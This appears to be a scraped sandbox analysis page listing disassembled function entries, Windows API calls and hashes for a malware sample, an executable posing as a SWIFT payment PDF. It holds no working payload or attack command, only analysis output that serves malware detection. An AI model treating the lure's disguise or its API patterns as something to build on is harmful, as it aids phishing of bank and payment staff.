Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 6e648e4d60bbbe4240689ab11f1c8e4383af39775b03d872555c2639b8fa9900
Instruction ID: 0ac01c35b1a0eb5cd592cd1bd468c7a0eb97994f07403c330b4f6ecb6608de49
Opcode Fuzzy Hash: 6e648e4d60bbbe4240689ab11f1c8e4383af39775b03d872555c2639b8fa9900
Instruction Fuzzy Hash: 7D01F431628210ABE7194B789C04B6A3698E751359F10C23BF911F76F1D67CDC028B4D

Uniqueness

Uniqueness Score: -1.00%

Function 004022BE Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B11: RegOpenKeyExA.KERNELBASE(00000000,00000527,00000000,00000022,00000000,?,?,?,004022CA,00000002), ref: 00402B39

RegDeleteValueA.ADVAPI32(00000000,00000000,00000033,00000002), ref: 004022DD
RegCloseKey.ADVAPI32(00000000), ref: 004022E6

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: ed5076af26d7ede7ead91c3adf2758db35427d31b88ed0346b104f9424fd96c5
Instruction ID: baeefcf9a9db1f94083355b6d21ea7a3e6d609a59d1c11f41be6f028ad682588
Opcode Fuzzy Hash: ed5076af26d7ede7ead91c3adf2758db35427d31b88ed0346b104f9424fd96c5
Instruction Fuzzy Hash: DAF0C232A00114ABDB10BBF48F8EEAE72A89B40318F10453BF601B71C1D9FD5E01966E

Uniqueness

Uniqueness Score: -1.00%

Function 0040155B Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000), ref: 00401579
ShowWindow.USER32(000103F6), ref: 0040158E

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: add7964105dab1707aaaa84d4f0c0e9d1ab12f2020f5d8ceeb3b73bd8940a280
Instruction ID: ee0513fff25cb1769eb447bdd8d815014c6f46c9afdd248f46aeede14d5c0a9d
Opcode Fuzzy Hash: add7964105dab1707aaaa84d4f0c0e9d1ab12f2020f5d8ceeb3b73bd8940a280
Instruction Fuzzy Hash: 95F0553BA082419FD700CB68EC8086E7BE1EB8630171885BBE101A31C1C2B86E00D718

Uniqueness

Uniqueness Score: -1.00%

Function 00401DAC Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DC2
EnableWindow.USER32(00000000,00000000), ref: 00401DCD

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 0401fe0a8408a80830016dcf6a5a76bfc0338b17fffd66502b160acb969e5ee0
Instruction ID: dacfe0cc3fa15e7f928c0b82e119a982ce74a601eef441543fec6a70ee28c1de
Opcode Fuzzy Hash: 0401fe0a8408a80830016dcf6a5a76bfc0338b17fffd66502b160acb969e5ee0
Instruction Fuzzy Hash: A9E0C272A04111DBCB10BBB4AE4AA6E33A4EF0035AB104437F202F10D1D6B99C80966E

Uniqueness

Uniqueness Score: -1.00%

Function 00405825 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000003,00402C73,C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe,80000000,00000003), ref: 00405829
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040584B

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 2ef177618df3c6e064d17c8612f07db8468e07c34dd9f446758cb9fc7f1f7b71
Instruction ID: d58f26a5a32defaeeb3d325f121af029a3aa60b04f4a5bd1c9a51958cab5ad8a
Opcode Fuzzy Hash: 2ef177618df3c6e064d17c8612f07db8468e07c34dd9f446758cb9fc7f1f7b71
Instruction Fuzzy Hash: B8D09E31658301AFEF098F20DE16F2EBBA2EB84B01F10962CB642940E0D6715C15DB16

Uniqueness

Uniqueness Score: -1.00%

Function 1000279C Relevance: 2.7, APIs: 2, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 1000285B
GetLastError.KERNEL32 ref: 10002962

Memory Dump Source

Source File: 00000006.00000002.134294229538.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.134294192586.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.134294264369.0000000010003000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.134294303301.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: AllocErrorLastVirtual
String ID:
API String ID: 497505419-0
Opcode ID: ba7f390c09ff9bfcbf5680bad404fe2f4794605870cc1d857870def209431754
Instruction ID: bd365418521e43e453085722f926cc1c0e2ab3e4cffdaddced3e06c5c0338b71
Opcode Fuzzy Hash: ba7f390c09ff9bfcbf5680bad404fe2f4794605870cc1d857870def209431754
Instruction Fuzzy Hash: D951A5BA808215DFFB24DF64DCC675937A8EB443D4F22842AE608E722DDF34A950CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00401650 Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileA.KERNEL32(00000000,00000000), ref: 0040166B

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 59528d37e619a7fd2b218f90b230f1d5c61a58079a8c3501643362a9b53b5bb7
Instruction ID: c31469945a4911ea426e3239a307804724141ef2c1121085379b225132293f7e
Opcode Fuzzy Hash: 59528d37e619a7fd2b218f90b230f1d5c61a58079a8c3501643362a9b53b5bb7
Instruction Fuzzy Hash: 95F0E931B0811593CB20B7768E4DE5F66A4CF81328F24473BB111B21D1DABD8602596F

Uniqueness

Uniqueness Score: -1.00%

Function 00402239 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 00402272

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 1b535b2f77e26f19bb2a4b73d3ace5ecbe5a17c068042cb8380ef8c757cca308
Instruction ID: 594037780aef2bbb7222699eae6bef26f59cc054eef20af3a1b4cc0f61f7743a
Opcode Fuzzy Hash: 1b535b2f77e26f19bb2a4b73d3ace5ecbe5a17c068042cb8380ef8c757cca308
Instruction Fuzzy Hash: ADE04F32B001E56ADB207AF18ECDD7FA1589B8434CB15017FF601B62C2DDBC2D418AA9

Uniqueness

Uniqueness Score: -1.00%

Function 004025DD Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 004025F7

Part of subcall function 00405AD5: wsprintfA.USER32 ref: 00405AE2

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: c35ba7dfe97b7f48e5b723a9f9add06c677ffe5bf8c734f428c440e5cdc680e9
Instruction ID: 68826eed314e96b4e4a1de5bbcec91c3173623e2f2413cad3d40aed69504d2cd
Opcode Fuzzy Hash: c35ba7dfe97b7f48e5b723a9f9add06c677ffe5bf8c734f428c440e5cdc680e9
Instruction Fuzzy Hash: DDE0DF72A04114ABCB00B7A46E8ACBF776CDB04309B10813BF201F00D2C2BD08015A2E

Uniqueness

Uniqueness Score: -1.00%

Function 00403072 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,00402EBC,000000FF,00000004,00000000,00000000,00000000), ref: 00403089

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: e68bf106eb3186c7e106c3f9a269c6ae9a01f653eb00a6b034ce70840e3ede78
Instruction ID: 0981d36ce8a37324ca65ea29ac33eec068edb21049201a101882ec42e2df6d76
Opcode Fuzzy Hash: e68bf106eb3186c7e106c3f9a269c6ae9a01f653eb00a6b034ce70840e3ede78
Instruction Fuzzy Hash: 3FE08C32151119BBCF205E619C08AEB3B5CEB007A6F00C033BA18E5190D630EB149BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402B11 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(00000000,00000527,00000000,00000022,00000000,?,?,?,004022CA,00000002), ref: 00402B39

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 4944fcb4b0595bcf744489a17d5e431ec8a9cb0b5ea9cf1e3315565daf770c26
Instruction ID: 2076060dfd2ee921fe50c9635413a5f0d56a6b8cd73322b3d01e2a4deb0b2e86
Opcode Fuzzy Hash: 4944fcb4b0595bcf744489a17d5e431ec8a9cb0b5ea9cf1e3315565daf770c26
Instruction Fuzzy Hash: 39E04F76250108AED700EBA5DD46EA57BDCA704704F008021B608D6091CA78E5508B58

Uniqueness

Uniqueness Score: -1.00%

Function 100026C2 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000404C,00000004,00000040,1000403C), ref: 100026E0

Memory Dump Source

Source File: 00000006.00000002.134294229538.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.134294192586.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.134294264369.0000000010003000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.134294303301.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction ID: 50d40a96d24def304b4b26cf20c6df658c6444d5d293e09e435d7040471c3010
Opcode Fuzzy Hash: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction Fuzzy Hash: 2BF09BF19092A0DEF360DF688CC47063FE4E7983D5B03852AE358F6269EB3445448B19

Uniqueness

Uniqueness Score: -1.00%

Function 0040227D Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 004022B0

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 4ed2931d6e1322bdaa9ad50cb4953df85b5dadb3ad55792b24e6397abbc445e7
Instruction ID: 0f98334ba99eddbf462717ac0d7b36237a5f237946376121c7889506776d1579
Opcode Fuzzy Hash: 4ed2931d6e1322bdaa9ad50cb4953df85b5dadb3ad55792b24e6397abbc445e7
Instruction Fuzzy Hash: 31E08630E44244BADB10AFB1CD49AFD7A68AF05710F10403AF9907B0D1EAB894429B1D

Uniqueness

Uniqueness Score: -1.00%

Function 00401595 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A0

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 0406370b8f003bb152fa9e6d882341a85f632a90c69b99869c7c344d59a0b238
Instruction ID: c88b0ddfb076c9ac8c8172e2ede98752ab09736af03c38ff4908af3a3297ae85
Opcode Fuzzy Hash: 0406370b8f003bb152fa9e6d882341a85f632a90c69b99869c7c344d59a0b238
Instruction Fuzzy Hash: 6CD01233B041149BCB00DBA89E4899D77A0DB44325F248637D111F11D1D6BD85416619

Uniqueness

Uniqueness Score: -1.00%

Function 00403ED3 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(000103F0,00000000,00000000,00000000), ref: 00403EE5

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
